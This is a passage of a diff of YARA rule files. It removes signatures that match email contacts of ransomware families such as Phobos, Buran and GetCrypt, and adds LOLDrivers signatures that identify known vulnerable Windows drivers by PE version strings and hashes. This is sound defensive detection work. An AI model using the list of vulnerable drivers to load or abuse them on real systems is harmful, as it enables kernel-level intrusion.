-		$s11 = "sayanwalsworth96@protonmail.com" nocase ascii wide
-		$s12 = "suzumcpherson@protonmail.com" nocase ascii wide
-		$s13 = "wyattpettigrew8922555@mail.com" nocase ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Goldenaxe
+rule LOLDRIVERS_PUA_VULN_Driver_Mitactechnologycorporation_Vdbsvsys_Mitacsystemserviceprovider_91AF : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with GoldenAxe ransomware"
-		author = "ditekShen"
-		id = "cd6486eb-742f-50fb-bd99-c5d778886477"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L82-L91"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2540da85880dc08b51a2d096cefd8ed3cb14ccd171b71b434ccf26e7c5f1b54b"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VdBSv64.sys"
+		author = "Florian Roth"
+		id = "513c1b59-e721-5bbf-979a-31c25c4d566e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L900-L919"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "91afa3de4b70ee26a4be68587d58b154c7b32b50b504ff0dc0babc4eb56578f4"
+		logic_hash = "e93e2620e452d0d6d834057921ed0de35309098130b47e98da7c1e87b31b86ee"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "xxback@keemail.me" nocase ascii wide
-		$s2 = "darkusmbackup@protonmail.com" nocase ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0069005400410043002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900540041004300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002c00200031002c00200031002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002c00200031002c00200031002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0056006400420053007600360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d0069005400410043002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0056006400420053007600360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004d006900540041004300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Getcrypt
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_00B3 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with GetCrypt ransomware"
-		author = "ditekShen"
-		id = "b5e31968-e626-5fbb-8bfe-942b48737367"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L93-L106"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "401f4e69235873adc271f8861912ec17daaa71a798c83df8cc3a9b88520708c9"
-		score = 75
-		quality = 63
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nicm.sys"
+		author = "Florian Roth"
+		id = "638c6150-1380-57d7-b2a2-acfd4302e2b5"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L922-L944"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "00b3ff11585c2527b9e1c140fd57cb70b18fd0b775ec87e9646603056622a1fd"
+		hash = "3140005ce5cac03985f71c29732859c88017df9d41c3761aa7c57bbcb7ad2928"
+		hash = "18f306b6edcfacd33b7b244eaecdd0986ef342f0d381158844d1f0ee1ac5c8d7"
+		hash = "94c226a530dd3cd8d911901f702f3dab8200d1d4fdc73fcb269f7001f4e66915"
+		hash = "c08581e3e444849729c5b956d0d6030080553d0bc6e5ae7e9a348d45617b9746"
+		logic_hash = "6a7f2670ea396bb3401fdfae3ccc6ca90d8f82e92c386ef5f63959d75e6df296"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "getcrypt@cock.li" nocase ascii wide
-		$s2 = "cryptget@tutanota.com" nocase ascii wide
-		$s3 = "cryptget@tutanota.com" nocase ascii wide
-		$s4 = "offtitan@pm.me" nocase ascii wide
-		$s5 = "offtitan@cock.li" nocase ascii wide
-		$s6 = "un42@protonmail.com" nocase ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310035002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Cryptomix
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_B50F : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with CryptoMix ransomware"
-		author = "ditekShen"
-		id = "7e623d06-36e8-576d-b261-d562eccf549b"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L108-L123"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "27b75a476229fc877c316f7a61d1ed647f5a67ac44a174d86c084063f039b20c"
-		score = 75
-		quality = 34
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		id = "fc6032d2-ef08-5fdb-be73-39dd42185b13"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L947-L969"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "b50ffc60eaa4fb7429fdbb67c0aba0c7085f5129564d0a113fec231c5f8ff62e"
+		hash = "dd2f1f7012fb1f4b2fb49be57af515cb462aa9c438e5756285d914d65da3745b"
+		hash = "b37b3c6877b70289c0f43aeb71349f7344b06063996e6347c3c18d8c5de77f3b"
+		hash = "0cfb7ea2cc515a7fe913ab3619cbfcf1ca96d8cf72dc350905634a5782907a49"
+		hash = "d1c78c8ba70368e96515fb0596598938a8f9efa8f9f5d9e068ee008f03020fee"
+		logic_hash = "662af5d505b5fee483356c1b5bcf2767c594bd690d5367a7b9f7ac9bea6b3c9d"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "portstatrelea1982@protonmail.om" ascii wide nocase
-		$s2 = "unlock@eqaltech.su" ascii wide nocase
-		$s3 = "unlock@royalmail.su" ascii wide nocase
-		$s4 = "adexsin276@gmail.com" ascii wide nocase
-		$s5 = "nbactocepnyou@protonmail.com" ascii wide nocase
-		$s6 = "nunlock@eqaltech.su" ascii wide nocase
-		$s7 = "nsnlock@royalmail.su" ascii wide nocase
-		$s8 = "cersiacsofal@protonmail.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Buran
+rule LOLDRIVERS_PUA_VULN_Driver_Openlibsysorg_Winringsys_Winring_11BD : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Buran ransomware"
-		author = "ditekShen"
-		id = "63cdda3f-78ed-5ce5-a8e0-e0893f2c314e"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L125-L140"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "685126efa7f90ce296fc616bd8d5d89a5b4b9aba8b60601b29534de21a0d0015"
-		score = 75
-		quality = 59
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WinRing0.sys, WinRing0x64"
+		author = "Florian Roth"
+		id = "370f3fc6-6199-5c19-a0b5-8c02fb89f30a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L972-L992"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5"
+		hash = "a7b000abbcc344444a9b00cfade7aa22ab92ce0cadec196c30eb1851ae4fa062"
+		logic_hash = "e5777a3a1e71f287c18434a48c2990abd3e202c919378a9473541abe2b8f0ba5"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "recovery_server@protonmail.com" ascii wide nocase
-		$s2 = "recovery1server@cock.li" ascii wide nocase
-		$s3 = "polssh1@protonmail.com" ascii wide nocase
-		$s4 = "polssh@protonmail.com" ascii wide nocase
-		$s5 = "buransupport@exploit.im" ascii wide nocase
-		$s6 = "buransupport@xmpp.jp" ascii wide nocase
-		$s7 = "jacksteam2018@protonmail.com" ascii wide nocase
-		$s8 = "notesteam2018@tutanota.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e00520069006e00670030 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00520069006e00670030 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300037002d00320030003000380020004f00700065006e004c00690062005300790073002e006f00720067002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Ransomwareexx
+rule LOLDRIVERS_PUA_VULN_Driver_Windowswinowsdriverkitsprovider_Hwrwdrvsys_Hardwarereadwritedriver_21CC : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with RansomwareEXX Linux ransomware"
-		author = "ditekShen"
-		id = "dfcff8cb-c50c-559e-b5b9-8c2cdac7a3dc"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L142-L150"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a83ada5d29c6d62a292c4b3a1379558cddcaf63d97dbdfc6afd27cc52f6f656d"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HwRwDrv.sys"
+		author = "Florian Roth"
+		id = "fa8e9fd9-7d07-5e05-a8d0-3769b9dd9157"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L995-L1014"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "21ccdd306b5183c00ecfd0475b3152e7d94b921e858e59b68a03e925d1715f21"
+		logic_hash = "da6f9de9c0529ef274b989f63d9d6308ea78a0f7f91d81caaafb5478412c33eb"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "france.eigs@protonmail.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006100720064007700610072006500200072006500610064002000260020007700720069007400650020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f0077007300ae002000770069006e006f007700730020003700200064007200690076006500720020006b006900740073002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0035002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0035002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0048007700520077004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048006100720064007700610072006500200072006500610064002000260020007700720069007400650020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0048007700520077004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Phobos
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_AD8F : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Phobos ransomware"
-		author = "ditekShen"
-		id = "cee09220-4038-5190-b595-28f67c845588"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L152-L161"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cf9e163d2315d465afb47bf83f30d5d27e14c4cbbc1c235dcb15b75fb509ba7d"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "25dc4405-52ae-51f9-9afd-49f2a9fcaa08"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1017-L1036"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ad8ffccfde782bc287241152cf24245a8bf21c2530d81c57e17631b3c4adb833"
+		logic_hash = "fba0440ab68b148f26224cce5d2b8bdb684a2d185502fb3b920fe12288e6d775"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "helprecover@foxmail.com" ascii wide nocase
-		$s2 = "recoverhelp2020@thesecure.biz" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Epsilon
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_3124 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Epsilon ransomware"
-		author = "ditekShen"
-		id = "acdeb3b1-872b-5892-9dfe-2e506f767da2"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L163-L171"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "163694ed2ae181764fc6e62027487d183114be35a689dd44d4d9761149df244b"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "25893130-a0b5-5c5c-b7d2-e22bf8eec311"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1039-L1058"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3124b0411b8077605db2a9b7909d8240e0d554496600e2706e531c93c931e1b5"
+		logic_hash = "4e22250223e272624f9608e7981ba91c1fb0e00eaf6d8388b81ad91fd8dbcc5c"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "neftet@tutanota.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004600720065007100750065006e00630079005f00430043 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Thanos
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Dcprotectsys_Dcprotectrwinxdriver_FF55 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Thanos ransomware"
-		author = "ditekShen"
-		id = "22ffb4c9-f113-5d3e-a466-6c384c0c6e8a"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L173-L182"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "039ea384136a1aaa261702ed75ab9358aaa1ec2d5a8d35fe4789647f39490c7c"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DcProtect.sys"
+		author = "Florian Roth"
+		id = "4b402b27-36ca-5e2c-bb00-64ab93b8720f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1061-L1080"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ff55c1f308a5694eb66a3e9ba326266c826c5341c44958831a7a59a23ed5ecc8"
+		logic_hash = "298b509c736082f651b32be6ff3ba8b2044d48e8d1ac5c411449524750794d4f"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "my-contact-email@protonmail.com" ascii wide nocase
-		$s2 = "get-my-data@protonmail.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044006300500072006f00740065006300740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0044006300500072006f00740065006300740020002800520029002000570069006e0038002e003100780038003600200064007200690076006500720020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032002d00320030003200300020004a00690061006e0067006d0065006e0020004500790075006e0020004e006500740077006f0072006b00200043006f002e002c004c00740064002e00200032003000310039 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Vovalex
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_A855 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Vovalex ransomware"
-		author = "ditekShen"
-		id = "95e9ddce-8a19-59f1-baf4-bdac61c9c396"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L184-L192"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0e8b426e55c1efaf59e5f255f1da9cdfbb509561d3f7ea5baa2815c3131866eb"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		id = "8cc90fa3-6be0-5b67-a555-0c922947fa60"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1083-L1103"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a855b6ec385b3369c547a3c54e88a013dd028865aba0f3f08be84cdcbaa9a0f6"
+		hash = "49ef680510e3dac6979a20629d10f06822c78f45b9a62ec209b71827a526be94"
+		hash = "653f6a65e0e608cae217bea2f90f05d8125cf23f83ba01a60de0f5659cfa5d4d"
+		logic_hash = "8ea1eeb7ddc8fbda767ab5fb5aaad6eecd83361f90685d904bbb4e524c4d64c9"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "vovanandlexus@cock.li" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
